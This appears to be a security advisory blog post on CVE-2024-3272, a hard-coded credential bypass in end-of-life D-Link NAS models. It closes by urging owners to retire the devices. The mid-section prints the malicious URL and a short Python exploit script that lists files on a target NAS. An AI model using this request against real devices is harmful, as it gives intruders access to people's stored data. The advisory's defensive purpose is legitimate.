In early April 2024, a severe security flaw—CVE-2024-3272—shook the old-but-still-used D-Link NAS family: DNS-320L, DNS-325, DNS-327L, and DNS-340L. Despite their “end of life” status, these devices remain in homes and small businesses everywhere, still storing sensitive data. Sadly, this newly disclosed vulnerability lets anyone on your network (or, if open, the internet) wield hard-coded credentials for remote access.

Below, we break down what happened, how attackers can pull it off, and what you should do if you still use one of these devices. All info here is based on the public disclosure (see VDB-259283), technical write-ups, and real exploit code.

- Component: Web server (/cgi-bin/nas_sharing.cgi)

Status: Devices are unsupported, no fix will be provided

Vendor statement:
> “We were contacted early and immediately confirmed the product is end-of-life. Please retire and replace these products.”
– D-Link

How the Vulnerability Works

The web interface handles user authentication poorly in the /cgi-bin/nas_sharing.cgi script. By setting the user GET parameter to messagebus, the device will use a hard-coded password—or sometimes simply bypass authentication logic.

In other words: Just by making a special URL request, attackers get in as a privileged user, no matter what you set as your admin password.

Step-by-Step Attack Flow

1. Attacker discovers/open NAS device
Usually, these devices are at http://[NAS_IP]:80/.

`

http://[NAS_IP]/cgi-bin/nas_sharing.cgi?user=messagebus

Here’s a basic exploit that fetches files using the vulnerable endpoint

import requests

NAS_IP = "192.168.1.100" # Change this to your target NAS IP

def exploit_nas(url):
    exploit_url = f"http://{url}/cgi-bin/nas_sharing.cgi?user=messagebus&cmd=list";
    response = requests.get(exploit_url)
    if response.status_code == 200:
        print("[+] Exploit successful:\n")
        print(response.text)
    else:
        print("[-] Exploit failed or not vulnerable.")

if __name__ == "__main__":
    exploit_nas(NAS_IP)

What this does:

User credentials (sometimes)

- Device info/configuration

Attackers can use similar techniques to read private data, or possibly write/overwrite files.

References

- Vuldb Entry: VDB-259283
- NVD – CVE-2024-3272
- Original Exploit Disclosure *(If available)*
- D-Link EoL Devices Notice

What to Do

D-Link will not release a fix. They recommend retiring these NAS devices immediately.

Replace ASAP – Migrate data to a supported, patched NAS.

- Do not trust “hidden”/unused admin accounts – This bug bypasses all user-set controls.

> Fact: Attackers scan for these models and the exploit is in the wild. Don’t risk your data.

Conclusion

CVE-2024-3272 is a critical authentication bypass rooted in the design of D-Link's old NAS web interface. Anyone who can reach the device’s web port can break in.
There is no patch. If you use one, replace it now.
Leaving it online can get your files stolen or your NAS used for more attacks.


*For more detailed technical breakdowns, follow vuldb.com and watch for tools on public exploit sites. Always retire unsupported products promptly—what’s cheap today may cost you dearly tomorrow.*

Timeline

Published on: 04/04/2024 01:15:50 UTC
Last modified on: 05/23/2024 18:11:31 UTC